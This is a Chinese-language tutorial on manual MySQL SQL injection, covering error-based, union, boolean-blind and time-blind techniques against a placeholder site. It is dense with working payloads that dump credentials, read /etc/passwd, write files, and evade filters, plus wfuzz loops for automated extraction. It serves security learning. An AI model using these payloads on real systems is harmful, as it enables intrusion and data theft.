在SQL注入的世界中,灵活而直观的手工注入展现出独特的魅力。相比自动化工具,手工注入不仅能帮助我们深入理解漏洞原理,还能在特定场景下突破工具的局限。本文将从基础SQL函数入手,逐步探讨报错注入、联合注入、布尔盲注和时间盲注等多种手工注入技术。希望通过这篇文章,能让你感受到SQL注入的精妙之处,并在实战中游刃有余。
本文以MySQL为例,介绍手工注入原理与实现。
在开始手工注入之前,掌握一些常用的SQL函数是必不可少的。这些函数将成为我们构造Payload时的得力助手。以下是一些关键函数及其用途:
LIMIT <偏移量>,<行数>
:限制查询返回的行数,例如LIMIT 1,2
表示从第2行开始返回2行数据。COUNT(*)
:统计表中的总行数。RAND()
:生成0到1之间的随机数。FLOOR(RAND()*<数字>)
:从随机小数中提取整数部分。SELECT (SELECT DATABASE())
:嵌套查询示例,用于获取当前数据库名。GROUP BY <列名>
:按指定列汇总数据。CONCAT(<字符串1>, <字符串2>, ...)
:拼接字符串,常用于合并表名或列名。LENGTH(<字符串>)
:计算字符串长度。SUBSTR(<字符串>, <偏移量>, <字符长度>)
:提取字符串子串。ASCII(<字符>)
:返回字符的ASCII码值。SLEEP(<秒数>)
:暂停执行指定秒数,常用于时间盲注。IF(<条件>, <真时操作>, <假时操作>)
:条件判断语句。LIKE "<字符串>%"
:模糊匹配字符串。INTO OUTFILE "<文件路径>"
:将查询结果导出到文件。LOAD_FILE("<文件路径>")
:读取并返回文件内容。这些函数将在后续的注入示例中频繁出现,熟练掌握它们将极大提升你的注入效率。
MySQL 预装了一些特殊的系统数据库,这些内置数据库不包含业务数据,而用于存储数据库管理和运行时信息。常见的系统数据库如下:
information_schema
(元数据存储库)作用:提供数据库的元数据(即关于数据库本身的信息),但不存储实际数据。
主要表结构:
schemata
:存储所有数据库(即schema)的名称。tables
:存储数据库中的所有表信息。columns
:存储所有表的列信息。key_column_usage
:存储外键约束信息。statistics
:存储索引信息。示例查询:获取当前数据库的所有表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
mysql
(用户与权限管理)作用:存储用户账户、权限、日志等信息,主要用于身份验证和权限控制。
主要表结构:
user
:存储数据库用户及其权限。db
:存储数据库级别的权限控制。tables_priv
:存储表级权限。columns_priv
:存储列级权限。procs_priv
:存储存储过程和函数的权限。示例查询:列出所有数据库用户:
SELECT user, host FROM mysql.user;
performance_schema
(性能监控)作用:记录数据库的性能数据,如查询、I/O、等待事件等。
主要表结构:
events_statements_summary_by_digest
:存储SQL语句的执行统计信息。threads
:存储当前连接的线程信息。table_io_waits_summary_by_table
:存储表级别的I/O等待时间。events_waits_summary_global_by_event_name
:存储数据库的等待事件统计信息。示例查询:获取最常执行的SQL语句:
SELECT digest_text, count_star FROM performance_schema.events_statements_summary_by_digest ORDER BY count_star DESC LIMIT 5;
sys
(简化性能监控)作用:基于 performance_schema
,提供更易读的系统视图,用于数据库状态监控。
主要表结构:
sys.user_summary_by_statement_type
:按SQL语句类型统计用户的执行情况。sys.processlist
:类似 SHOW PROCESSLIST
,显示当前连接信息。sys.wait_classes_global_by_avg_latency
:存储全局等待事件的平均延迟信息。示例查询:获取当前数据库的慢查询信息:
SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;
手工注入主要依赖三种技术:报错注入(Error-based)、联合注入(Union-based)和 盲注(Blind)。下面将逐一展开,结合具体示例说明其应用。
报错注入通过触发数据库报错,观察返回信息来推断后端结构或数据。
报错注入的前提是目标存在SQL注入漏洞,且后端会将数据库错误信息回显到页面。
测试方法
:
http://meh.com/index.php?id=1'
You have an error in your SQL syntax...
的错误,则存在注入点且报错可回显。注意事项
:
"
、\
或不加引号直接拼接SQL函数。--+
、#
)闭合语句,确保报错触发。示例
:
http://meh.com/index.php?id=1' --+
若页面恢复正常但未报错,则需进一步测试报错回显。
报错注入依赖数据库报错信息,因此需确认报错内容是否包含有用数据。
方法
:
http://meh.com/index.php?id=1' AND 1=2 --+
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'a') --+
EXTRACTVALUE
在MySQL中用于解析XML,若参数无效会报错。
验证报错回显
:
XPATH syntax error: 'a'
的错误,说明报错可控且会回显。后端逻辑假设
:
SELECT * FROM users WHERE id = '1'
1'
后变成:SELECT * FROM users WHERE id = '1''
MySQL中有多个函数在报错时会将参数内容回显,常用函数包括EXTRACTVALUE
、UPDATEXML
和FLOOR
等。
EXTRACTVALUE
原理
:
EXTRACTVALUE(xml, xpath)
解析XML并返回指定路径的值,若路径无效则报错并回显参数。示例
:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) --+
0x7e
是~
的十六进制表示,用于分隔。test_db
,报错可能为:XPATH syntax error: '~test_db~'
UPDATEXML
原理
:
UPDATEXML(xml, xpath, new_value)
更新XML,若路径无效则报错并回显。示例
:http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+
XPATH syntax error: '~root@localhost~'
FLOOR
结合RAND
(仅适用于特定版本)原理
:
FLOOR(RAND(0)*2)
在分组查询中可能因重复计算导致报错,回显子查询结果。示例
:
http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+
Duplicate entry 'test_db~1' for key 'group_key'
注意
:
FLOOR
方法在MySQL 5.5+中可能失效,优先使用EXTRACTVALUE
或UPDATEXML
。利用报错函数提取常用信息。
获取数据库名
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
获取当前用户
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+
获取版本
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+
提取表名、列名等信息,借助information_schema
。
获取所有表名
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+
XPATH syntax error: '~users,orders~'
获取指定表的列名
:
users
:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
XPATH syntax error: '~id,username,password~'
限制长度问题
:
LIMIT
逐条提取:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+
根据表名和列名提取具体内容。
获取users表的数据
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+
XPATH syntax error: '~admin,user1~'
拼接多列
:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
XPATH syntax error: '~admin:123456~'
面对过滤或限制时的应对策略。
绕过空格过滤
:
/**/
替代空格:http://meh.com/index.php?id=1'/**/AND/**/EXTRACTVALUE(1,/**/CONCAT(0x7e,/**/DATABASE(),/**/0x7e))--+
绕过关键字过滤
:
http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+
处理长数据
:
SUBSTR
分段提取:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+
报错回显依赖
:若后端不显示错误信息,报错注入无效,需转向盲注。函数兼容性
:EXTRACTVALUE
和UPDATEXML
适用于MySQL 5.1+,其他数据库可能需调整。权限限制
:访问information_schema
需用户具备相应权限。长度限制
:报错信息可能截断,需分段提取或优化Payload。假设目标URL为http://meh.com/index.php?id=1
,后端查询为:
SELECT * FROM users WHERE id = '1'
示例完整流程如下:
确认注入点:
http://meh.com/index.php?id=1'
返回SQL syntax error
,存在注入且报错回显。
触发报错:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+
返回XPATH syntax error: 'test'
,报错可控。
提取数据库名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+
返回XPATH syntax error: '~test_db~'
。
枚举表名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+
返回XPATH syntax error: '~users,orders~'
。
提取列名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+
返回XPATH syntax error: '~id,username,password~'
。
提取数据:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+
返回XPATH syntax error: '~admin:123456~'
。
联合注入通过UNION SELECT
将自定义查询结果与原始查询拼接,前提是确保列数匹配且原始查询返回空结果(例如将id
设为无效值,如-1
)。
联合查询的前提是目标存在SQL注入漏洞,因此首先需要验证注入点。
测试方法
:
http://meh.com/index.php?id=1'
注意事项
:
"
)、反斜杠(\
)或其他符号。--+
、#
)闭合语句,观察响应变化。示例
:
http://meh.com/index.php?id=1' --+
若页面恢复正常,说明注入点可控。
联合查询要求攻击者的UNION SELECT
语句列数与原始查询一致,因此需先确定列数。
方法1:使用ORDER BY
逐步探测
ORDER BY <数字>
,逐步增加数字,直到报错。http://meh.com/index.php?id=1 ORDER BY 1 --+
http://meh.com/index.php?id=1 ORDER BY 2 --+
http://meh.com/index.php?id=1 ORDER BY 3 --+
ORDER BY 2
正常,ORDER BY 3
报错,则后端查询有2列。方法2:借助工具(如wfuzz
)
wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 ORDER BY FUZZ --+"
结果解读
:
联合查询需要原始查询返回空结果,以便只显示攻击者构造的内容。
方法
:
-1
),使原始查询无匹配记录。http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
后端逻辑假设
:
SELECT column1, column2, column3, column4, column5 FROM table WHERE id = '-1'
id=-1
不存在,返回空结果,UNION
后的内容生效。验证
:
1,2,3,4,5
中的部分或全部,则联合查询生效。并非所有列的内容都会显示在页面上,需找出哪些列会回显。
方法
:
http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
c
,说明第3列可回显。结果
:
利用可显示列提取数据库元信息。
获取数据库版本
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@version,4,5 --+
5.7.32
,则为MySQL版本。获取当前用户
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,USER(),4,5 --+
root@localhost
。获取当前数据库名
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
test_db
。获取数据目录
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@datadir,4,5 --+
进一步提取表名、列名等信息,通常借助information_schema
表。
获取所有表名
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=DATABASE() --+
GROUP_CONCAT
将结果拼接为逗号分隔的字符串,如users,orders
。获取指定表的列名
:
users
:http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
id,username,password
。根据表名和列名,提取具体数据。
获取users
表的内容:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username),4,5 FROM users --+
admin,user1,user2
。提取多列内容:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(username,':',password),4,5 FROM users --+
admin:123456,user1:password
。联合查询还可用于文件操作或权限提升。
导出数据到文件
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,username,4,5 FROM users INTO OUTFILE '/tmp/users.txt' --+
读取文件内容
:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5 --+
列数匹配
:UNION SELECT
的列数必须与原始查询一致。数据类型一致
:每列的数据类型需与原始查询对应(如字符串列不能注入数字)。注释符选择
:根据过滤情况使用--+
、#
或/* */
。绕过过滤
:若空格被过滤,可用/**/
替代;若单引号被转义,可用CHAR(39)
表示。权限限制
:文件操作需数据库用户具备FILE
权限。假设目标URL为http://meh.com/index.php?id=1
,后端查询为:
SELECT id, name, email, age, city FROM users WHERE id = '1'
示例完整流程如下:
确认注入点:
http://meh.com/index.php?id=1' --+
页面正常,存在注入。
确定列数:
http://meh.com/index.php?id=1 ORDER BY 5 --+ # 正常
http://meh.com/index.php?id=1 ORDER BY 6 --+ # 报错
列数为5。
构造基础联合查询:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
确定显示列:
http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+
页面显示c
,第3列可回显。
提取信息:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+
返回test_db
。http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema='test_db' --+
返回users,orders
。http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+
返回id,name,email,age,city
。http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(name,':',email),4,5 FROM users --+
返回admin:[email protected],user1:[email protected]
。盲注适用于页面仅返回简单状态(如“成功”或“失败”),而不显示SQL错误或查询结果的场景。攻击者通过构造条件语句,观察页面响应变化(布尔盲注)或响应时间差异(时间盲注),逐字符推断数据库信息。
盲注的第一步是验证参数是否可被SQL语句操控。
测试方法
:
http://meh.com/index.php?id=1' AND 1=1 --+
http://meh.com/index.php?id=1' AND 1=2 --+
注意事项
:
"
、\
或无引号拼接。--+
、#
)闭合语句。后端逻辑假设
:
SELECT * FROM users WHERE id = '1'
1' AND 1=1 --+
后:SELECT * FROM users WHERE id = '1' AND 1=1 --'
根据页面反馈特性,选择布尔盲注或时间盲注:
方法
:
http://meh.com/index.php?id=1' AND 1=1 --+ # 页面正常
http://meh.com/index.php?id=1' AND 1=2 --+ # 页面异常
确认
:
布尔盲注通过构造条件,逐字符猜测数据库信息,常用函数包括SUBSTR
和ASCII
。
方法
:
SUBSTR
提取数据库名某位置的字符,与猜测值比较。http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+
t
。http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+
e
。优化:使用ASCII
:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+
116
是t
的ASCII码,若正常则首字母为t
。方法
:
information_schema.tables
:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+
117
是u
,若正常则首表名以u
开头(如users
)。列名
:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+
105
是i
,可能为id
。数据
:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+
97
是a
,可能为admin
。手动逐字符猜测效率低,可结合工具(如wfuzz
)加速。
猜测数据库名
:
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done
32-127
覆盖标准ASCII字符,正确字符对应正常响应。获取表名
:
for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done
方法
:
sleep()
函数引入延迟,观察响应时间。http://meh.com/index.php?id=1' AND SLEEP(5) --+
注意
:
id=1
为真值,需用AND
,否则用OR
:http://meh.com/index.php?id=0' OR SLEEP(5) --+
时间盲注通过条件判断结合延迟,推断数据。
方法
:
IF
和sleep()
:http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+
t
。方法
:http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
u
。方法
:http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+
a
。时间盲注耗时长,可用wfuzz
结合时间筛选。
猜测数据库名
:
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
grep "0m4"
筛选延迟响应(约5秒)。提取列内容
:
for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
响应稳定性
:
权限要求
:
information_schema
需相应权限。绕过过滤
:
/**/
,关键字用大小写混淆。效率优化
:
>64
),缩小范围。真假值
:
AND
或OR
。目标URL:http://meh.com/index.php?id=1
,后端:
SELECT * FROM users WHERE id = '1'
示例完整流程如下:
http://meh.com/index.php?id=1' AND 1=1 --+ # 正常
http://meh.com/index.php?id=1' AND 1=2 --+ # 异常
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+ # 正常,'t'
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+ # 正常,'e'
结果:test_db
。http://meh.com/index.php?id=1' AND SLEEP(5) --+ # 延迟5秒
http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+
延迟则为u
,结果:users
。手工注入的魅力在于其极致的灵活性与对细节的精准掌控。无论是通过报错注入快速定位数据库结构,还是利用联合注入优雅地拼接数据,亦或是盲注在无声之中悄然挖掘关键信息,每一种技术都如同精心雕琢的艺术品,展现了SQL注入的独特魅力与深邃内涵。本文从基础函数入手,逐步深入实战技巧,全方位为你呈现出了手工注入的全貌。愿你在未来的渗透测试中,能够熟练运用这些方法,在挑战与乐趣中领略SQL注入的无限魅力。